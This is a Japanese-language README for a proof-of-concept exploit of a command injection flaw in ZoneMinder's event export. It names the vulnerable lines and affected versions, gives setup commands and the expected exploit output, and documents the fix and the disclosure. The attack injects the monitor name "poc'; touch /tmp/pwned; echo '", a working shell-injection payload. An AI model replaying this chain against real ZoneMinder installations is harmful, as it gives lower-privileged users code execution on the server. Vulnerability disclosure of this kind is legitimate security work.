investigato/zoneminder-rce-pocCVE-2026-76060 PoC — ZoneMinderの脆弱性を悪用してRCEに至るエクスプロイト
ZoneMinderのイベントエクスポート機能（web/includes/download_functions.php）におけるOSコマンドインジェクション脆弱性の概念実証です。
モニター名は、escapeshellarg()の代わりに手動のシングルクォートラップを使用してシェルコマンドに直接挿入されます。モニターを作成できる攻撃者は、任意のユーザーがイベントエクスポートをトリガーした際に、www-data/プロセスを実行しているユーザーとして実行される任意のシェルコマンドを注入できます。
44c5c3c — ここでdownload_functions.phpファイルが導入されました。コミットメッセージは「Introduce new download mode that concats event videos into 1 file per monitor.」です。脆弱なコードはここに存在しますが、最初にモニターを作成するには管理者権限が必要でした。2d49e93 — 「Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones.」ここで状況が少し変わります。Monitors=Create権限のみを持つユーザーが攻撃用のモニター名を設定でき、エクスポート権限を持つ任意のユーザーがそれをトリガーできます。影響を受けるバージョン: >= 1.37.48（SQLマイグレーションの変更を含む）かつ <= 1.38.1 1.36.xブランチは影響を受けません。
2人のユーザー。2つの権限レベル。1つのシェル。
Monitors=Create権限、または既存のモニターがある場合はMonitors=Edit権限を持ちます。イベントレコードを手動で作成する必要はありません。ZoneMinderはカメラシステムです...カメラが動作すると自動的にイベントレコードを作成します。実稼働環境でのセットアップ手順は次のとおりです: モニターを作成して、その場を離れるだけです。
サニタイズされていないモニター名は、2つの別々のexec()呼び出しに到達します:
126行目 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
150行目 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
どちらも、エクスポート形式に関係なく、同じ細工されたモニター名から到達可能です。
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# wait for ZoneMinder to finish initializing (~30 seconds)
uv run poc.py
init.sqlは、認証を有効にした状態でデータベースをブートストラップし、2人のユーザーを作成します:
medpriv — モニター作成権限（および時間節約のためイベント作成権限も持ちますが、実稼働環境では不要です）lowpriv — イベントエクスポートアクセスのみuv run poc.pyは完全なチェーンを実行します:
medprivがAPI経由で認証し、poc'; touch /tmp/pwned; echo 'という名前のモニターを作成しますmedprivがデモを高速化するためにイベントレコードを作成します（実稼働環境ではZoneMinderが自動的に行います）lowprivが認証し、イベントエクスポートをトリガーします/tmp/pwnedをチェックし、結果を出力します期待される出力:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
8.4 (High):AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H
PR:LとPR:Rのどちらかは議論の余地がありますが、いずれにしても広く使用されているオープンソースプロジェクトにおける高深刻度のリモートコード実行脆弱性です。攻撃対象領域はかなり広く、モニター名を設定したユーザーとは異なるユーザーがトリガーを発動できるという事実が、悪用可能性に興味深いひねりを加えています。PR:Lを受け入れる場合、9.0（Critical）になります。
いずれにしても、最低限escapeshellarg()はコストゼロです。
b3a7c05でパッチ適用[!NOTE] 報告から12時間以内に修正されました。メンテナーからこれがセキュリティ問題であるという認識の表明はありませんでした。私は同意しません
最低限、両方のインジェクションポイントにescapeshellarg()を適用します:
// Line 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Line 150
$command .= ' '.escapeshellarg($mergedFileName);
generateFileList()の116行目と211行目にも同じパターンがあります。
発見者: (@investigato)
完全な解説: scriptkittens.com